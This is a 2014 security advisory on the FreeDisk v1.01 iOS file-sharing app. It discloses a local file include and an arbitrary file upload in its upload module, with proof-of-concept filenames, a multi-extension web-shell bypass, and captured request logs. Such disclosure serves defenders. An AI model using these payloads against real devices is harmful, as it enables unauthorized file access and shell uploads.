Document Title:
===============
FreeDisk v1.01 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1287


Release Date:
=============
2014-08-01


Vulnerability Laboratory ID (VL-ID):
====================================
1287


Common Vulnerability Scoring System:
====================================
7.1


Product & Service Introduction:
===============================
Transfer files between your iPhone/iPod/iPad and your computers without iTunes! Just start FreeDisk, and your iDevice is automatically
turned into a wifi hard drive. You can then connect your iDevice to your computers, and use it as a regular hard drive, and easily
transfer files. No need for third part software, or iTunes, to finally exchange files between your iDevices and your computers!
FreeDisk can also turn your iDevice into an internet server to share your files with other smartphones (iOS, Android, Windows...) !
Last but not least, all your data are protected and can only be read when the app is running.

(Copy of the Homepage: https://itunes.apple.com/us/app/free-disk-turn-your-iphone/id896356251 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered multiple vulnerabilities in the official  FreeDisk v1.01 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-08-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Sebastien BUET
Product: FreeDisk - iOS Mobile Web Application 1.01


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official  FreeDisk v1.01 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with
malicious `filename` values in the `uploadfile` POST method request to compromise the mobile web-application. The local file/path
include execution occcurs in the index `file list` context next to the vulnerable `filename` item value. The attacker is able to
inject the local malicious file request by usage of the available `wifi interface` upload form.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to
inject is POST.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count
of 6.8. Exploitation of the local file include web vulnerability requires no privileged web-application user account or user interaction.
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.


Request Method(s):
				[+] [POST]

Vulnerable Service(s):
				[+] FreeDisk v1.01

Vulnerable Module(s):
				[+] upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] FreeDisk App Index File Dir Listing (http://localhost:8080/)


1.2
An arbitrary file upload web vulnerability has been discovered in the official  FreeDisk v1.01 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.

The vulnerability is located in the `upload` module. Remote attackers are able to upload a php or js web-shells by renaming the file with
multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name and extension
`image.jpg.gif.js.php.jpg`. After the upload the attacker needs to open the file in the web application. He deletes the .jpg & . gif file
extension and can access the application file with elevated access rights.

The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.4.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.


Request Method(s):
				[+] [POST]

Vulnerable Service(s):
				[+] FreeDisk v1.01

Vulnerable Module(s):
				[+] upload

Vulnerable Parameter(s):
				[+] filename (multiple extensions)

Affected Module(s):
				[+] FreeDisk App Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: LFI > FreeDisk App Index File Dir Listing (http://localhost:8080/)

/8Oe/3rG8NqF1H9y6jCDRQWTNfOe9OJxmRjy9Ns+DSZRbq5em95UgEIQSBQABd19VWa9ks3W+JruupQrKsaRonTpwgEAjQ6K/hznXLOHz8w7wp5p7spDJNu9IpG6BCz
KOachYJtTbCcRz8fj+BQIDs47ui9n7d5x4yMm5F0zSNNWvWYNs2W558TaWY7MOaawW+xiaVIlKpCgFUinIqr7weiUSwbRu/319ci1JEZDAMAyFEjixHo1GlZtvvvkn
NJ7Jtkf2ShBiuqVcF3VBdTkN1ORViHhViHt4rELFYjKNHjyKEIBgMylQqKTTnlRar+RImEAgoEZDm9XoJh9NnIt9Z386y1W2Mjl9Uhe+exfsmYPmlCS5MfsrHl6a5e
KWH8opyvCJdB0ePHiUejxMKhRTAbMcOV3X05q4Zd0ecTr+0IOi6zoMb23hqIA7TI2oN7iTO0+fxqgmvsmY+DdVp52UN9vT0IIQgFAplFHIxVnq1s3GhyAihqW2cNauWs741kCO/k4kxLlxJy2B1qYpAJBKhp6cHv9+PaZr4/f6rPvgpvZbWohBMdXUVlmUBsGVTq1rKujvk5UtN
1prpWrMsi3A4rOrANM0Z6+B6HoamYrGYUrNkMsnY2Bhbt24F4NUDb/DakTCepSG+f/uNrL2lBSEEsViM3t5eTNNUAvKFHb0VCxOPjxMILGLVqlUM2zZvHjnB5o23q
XV/OBzGMIycCe3LPNUtCBONRlVUXJt9OI4j04e5/n+UufzPh5Rt24yMjKiNig0bNmBZFrFYbNYJ7asEkgFjWacRQpvTOvgiQRSM7JCvN8D1BPlS7H8DAE2nLCe/T
ZDiAAAAAElFTkSuQmCC"></a></td></tr><tr>
<td word-wrap="break-all" align="center">
<a href="<./[LOCAL FILE INCLUDE VULNERABILITY!].png"><./[LOCAL FILE INCLUDE VULNERABILITY!].png"></a></td></tr></table></td><td >
<table width="192 px" border="0" align="center"><tr><td align="center" height="133"><a  href="IMG_0650.JPG">
<img  src="data:image/png;


--- PoC Session Logs [POST] (LFI) ---
Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[352481] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------17662256993564
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].png"
Content-Type: image/png

Status: 200[OK]
GET http://localhost:8080/./[LOCAL FILE INCLUDE VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI  ] Gr��e des Inhalts[317203] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[317203]
      Date[Do., 31 Juli 2014 13:38:34 GMT]




1.2
The arbitrary file upload web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: AFU > FreeDisk App Index File Dir Listing (http://localhost:8080/)


ZDiAAAAAElFTkSuQmCC"></a></td></tr><tr><td word-wrap="break-all" align="center">
<a href="<./webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD VULNERABILITY!]"><webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD VULNERABILITY!]"></a></td></tr></table></td><td >
<table width="192 px" border="0" align="center"><tr><td align="center" height="133"><a  href="IMG_0650.JPG">
<img  src="data:image/png;


PoC: http://localhost:8080/webshell.png.jpg.html.js.jpg.png

--- PoC Session Logs [POST] (AFU) ---
Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[359908] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------3032116335563
Content-Disposition: form-data; name="file"; filename="webshell.png.jpg.html.js.jpg.png[ARBITRARY FILE UPLOAD VULNERABILITY!]"
Content-Type: image/png

Status: 200[OK]
GET http://localhost:8080/webshell.png.jpg.html.js.jpg.png Load Flags[LOAD_DOCUMENT_URI  ] Gr��e des Inhalts[317203] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[317203]
      Date[Do., 31 Juli 2014 13:45:00 GMT]


Solution - Fix & Patch:
=======================
1.1
The file inlcude vulnerability can be patched by a secure parse and encode of the filename value in the upload file POST method request.

1.2
The arbitrary file upload issue can be fixed by a secure restriction and filter procedure in the filename type validation mechanism.
Restrict the input and check for extentions to prevent arbitrary file upload with further exploitation.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the filename value is estimated as high.

1.2
The security risk of the arbitrary file upload web vulnerability in the file submit function is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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